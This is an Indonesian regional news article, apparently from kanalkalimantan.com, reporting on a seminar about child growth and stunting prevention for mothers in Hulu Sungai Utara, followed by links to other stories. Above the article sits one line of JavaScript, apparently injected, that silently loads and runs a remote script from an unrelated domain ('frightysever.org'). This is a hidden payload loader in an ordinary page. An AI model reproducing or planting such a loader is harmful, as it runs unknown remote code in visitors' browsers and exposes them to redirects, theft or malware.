(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Mengisi rangkaian kegiatan dalam rangka program pencanangan TNI Manunggal KB Kesehatan (TMKK) tingkat nasional sekaligus Hari Jadi Kabupaten Hulu Sungai Utara (HSU) ke- 66, Pemkab HSU melalui Dinas Pengendalian Penduduk dan Keluarga Berencana (DPPKB) menggelar seminar Tumbuh Kembang Anak dan Stunting. Kegiatan ini diperuntukkan bagi ibu-ibu yang mempunyai bayi balita, terutama di bawah binaan Dinas Pengendalian Penduduk dan Keluarga Berencana (DPPKB) sebagai Kampung KB di wilayah HSU.
Mengambil tema “Cegah stunting pada anak dengan mengoptimalkan pengasuhan 1000 Hari Pasca Kelahiran”, seminar yang digelar di aula Bappelitbang HSU pada Sabtu (28/4) ini berlangsung menarik. Pasalnya disamping dihadiri oleh tak kurang 200 peserta dari para ibu-ibu yang mempunyai bayi balita, terutama dari desa kampung KB binaan DPPKB HSU. Selain itu, acara ini juga diisi narasumber BKKBN Pusat yang secara khusus datang gelar PencananganPprogram TMKK Nasional di Kabupaten HSU.
Bupati HSU dalam sambutan tertulisnya yang dibacakan Plt Sekda HSU Suyadi, mengatakan, menyambut baik rangkaian program TNI manunggal KB Kesehatan dan peringatan hari jadi Kabupaten HSU ke-66 ini. Diharapkan para ibu dapat mengambil pelajaran penting guna diterapkan untuk menjaga pertumbuhan dan perkembangan anak-anak.khususnya di kabupaten HSU.
Ia juga berpesan bahwa pentingnya keluarga sehat yang selalu memperhatikan tumbuh kembangnya pertumbuhan anak. “Salah satunya yaitu pentingnya ASI (Air Susu Ibu) bagi pertumbuhan dan perkembangan anak balita,” katanya.
Disamping itu, para orang tua juga harus menyadari masa balita juga adalah periode kritis di mana segala bentuk penyakit, kekurangan gizi, serta kekurangan kasih sayang maupun kekurangan stimulasi pada usia ini.
“Mengingat hal tersebut bisa membawa dampak negatif yang menetap sampai masa dewasa bahkan sampai usia lanjut, sehingga ini menjadi perhatian khusus bagi orang tua,” tambah Suyadi.
Sementara itu, Deputi KSPK BKKBN Pusat dr M Yani, dalam acara tersebut menerangkan, perkembangan stunting adalah proses yang lambat atau terhambatnya pertumbuhan bagi anak, yang kumulatif tidak berarti bahwa asupan makanan saat ini tidak memadai. Namun kegagalan pertumbuhan mungkin telah terjadi di masa lalu seseorang, oleh karena itu perlunya semua ibu atau calon ibu memperhatikan kondisi asupan nutrisi untuk perkembangan anak 1000 hari semenjak kelahiran bahkan semenjak di dalam kandungannya.
“Diharapkan agar para ibu mengetahui perkembangan kehamilannya dan bisa lebih menjaga kondisi kehamilannya, Karena stunting atau terhambatnya pertumbuhan anak sangat dipengaruhi oleh seribu hari pertama kehidupan, dimulai dari dalam kandungan,” papar Yani. (dew)
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
This website uses cookies.